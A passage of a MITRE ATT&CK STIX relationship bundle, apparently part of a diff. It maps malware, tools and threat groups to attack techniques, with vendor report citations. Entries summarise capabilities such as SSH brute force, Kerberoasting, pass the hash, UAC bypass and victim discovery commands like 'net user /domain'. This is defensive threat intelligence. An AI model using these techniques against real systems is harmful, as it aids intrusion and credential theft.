"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) can sleep for a specific time and be set to communicate at specific intervals.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c6c3192b-f541-4f19-b7b9-f2ad026c8ffb", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.662Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Chaos](https://attack.mitre.org/software/S0220) conducts brute force attacks against SSH services to gain initial access.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--49c17cdc-72a5-442d-b153-2cc9f9cf059d", + "external_references": [ + { + "source_name": "Chaos Stolen Backdoor", + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/" + } + ], + "modified": "2019-05-10T18:57:53.145Z", + "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "relationship_type": "uses", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sakula](https://attack.mitre.org/software/S0074) has the capability to download files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--33162cc2-a800-4d42-89bb-13ac1e75dfce", + "external_references": [ + { + "source_name": "Dell Sakula", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHTRACK](https://attack.mitre.org/software/S0197) scrapes memory for properly formatted payment card data.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--145ffef4-5a63-41d7-ac74-e034e9b9622d", + "external_references": [ + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) mimics a legitimate Russian program called USB Disk Security.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a67d4b9b-0c8f-41d8-a7f2-6d4c61fcb1ea", + "external_references": [ + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HTRAN](https://attack.mitre.org/software/S0040) can proxy TCP socket connections to obfuscate command and control infrastructure.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1b27cec5-241a-4c2e-a3db-e9cea241496c", + "external_references": [ + { + "source_name": "Operation Quantum Entanglement", + "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "modified": "2019-04-24T20:32:55.103Z", + "source_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) can perform pass the hash.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1dc42b4c-4a93-4fc6-bad3-b5498ad500b1", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--a52edc76-328d-4596-85e7-d56ef5a9eb69", + "relationship_type": "uses", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) can capture desktop screenshots in the PNG format and send them to the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f2fb45a-8359-4c75-93ae-095fcf9f856e", + "external_references": [ + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-Kerberoast module can request service tickets and return crackable ticket hashes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aaa0e944-7158-4baa-b45b-c687f7b161b5", + "external_references": [ + { + "source_name": "PowerSploit Invoke Kerberoast", + "description": "Schroeder, W. & Hart M. (2016, October 31). Invoke-Kerberoast. Retrieved March 23, 2018.", + "url": "https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/" + }, + { + "source_name": "Harmj0y Kerberoast Nov 2016", + "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.", + "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/" + } + ], + "modified": "2019-04-24T23:43:08.077Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POORAIM](https://attack.mitre.org/software/S0216) has been delivered through compromised sites acting as watering holes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f32828b5-ab55-4bf5-af89-1d6e42d559b0", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79", + "relationship_type": "uses", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Regin](https://attack.mitre.org/software/S0019) contains a keylogger.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--385f57f4-87b6-4126-ab67-531e482ec9bc", + "external_references": [ + { + "source_name": "Kaspersky Regin", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain a list of smart card readers attached to the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--45f9e4b6-a6a0-4f9f-aae9-9e8a69f5681d", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Umbreon](https://attack.mitre.org/software/S0221) creates valid users to provide access to the system.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f0b6fe64-e138-42c9-9cc7-896467dc26f8", + "external_references": [ + { + "source_name": "Umbreon Trend Micro", + "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) communicates with its C2 server over TCP port 3728.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cfccba1b-5aa0-46ef-b668-d9f7e25b53ae", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) encrypts C2 traffic using AES with a static key.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f02f0a58-a76b-4966-8717-8a9b40b07e81", + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:11:04.779Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fa9a8640-75e5-458c-99c0-e5e85aa32a77", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", + "relationship_type": "uses", + "target_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used sc query on a victim to gather information about services.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4923be5e-dd24-4289-adca-e9dbf545b9c2", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2019-07-17T16:17:29.734Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect user account information by running net user /domain or a series of other commands on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--61dd6d75-a95b-488d-9a1d-924563592df7", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elise](https://attack.mitre.org/software/S0081) executes ipconfig /all after initial communication is made to the remote server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--340d4ef7-816b-4758-994f-b913df78afd7", + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + }, + { + "source_name": "Accenture Dragonfish Jan 2018", + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "modified": "2019-04-17T22:12:24.779Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can enumerate drives and their types. It can also change file permissions using cacls.exe.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ffd0780-b8ed-4b8f-b5b8-ff5b0afd4f1f", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) has been observed being used to download [TEXTMATE](https://attack.mitre.org/software/S0146) and the Cobalt Strike Beacon payload onto victims.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d04d6101-f6f6-42a2-8679-351956b75228", + "external_references": [ + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of deleting files on the victim. It also securely removes itself after collecting and exfiltrating data.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2b4a8be2-8403-43d4-addd-79c504e3dec8", + "external_references": [ + { + "source_name": "Symantec Remsec IOCs", + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "source_name": "Kaspersky ProjectSauron Full Report", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + }, + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the username of the logged in account during installation. It will also gather the username of running processes to determine if it is running as SYSTEM.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a6150e37-2411-409f-82a0-e259d55d1166", + "external_references": [ + { + "source_name": "Palo Alto T9000 Feb 2016", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T19:55:13.748Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.032Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a8122755-90fe-4b68-8fa1-55ed7be90931", + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "relationship_type": "uses", + "target_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has delivered zero-day exploits and malware to victims via targeted emails containing malicious attachments.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--537d027b-0559-4d1a-8f28-a918d3d23e63", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "CSM Elderwood Sept 2012", + "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.", + "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China" + } + ], + "modified": "2019-03-22T20:15:19.459Z", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used net use to conduct internal discovery of systems. The group has also used quser.exe to identify existing RDP sessions on a victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fe8a320f-e5e5-4503-8c3a-5c21b628a61d", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "modified": "2019-07-14T21:15:55.015Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Downdelph](https://attack.mitre.org/software/S0134) bypasses UAC to escalate privileges by using a custom \u201cRedirectEXE\u201d shim database.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6a0f3ebb-c805-402f-bb2e-aac2f8d174fa", + "external_references": [ + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) uses AES to encrypt C2 communications.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--28f655e0-ac0b-41bc-baaf-9a9987469fe9", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": 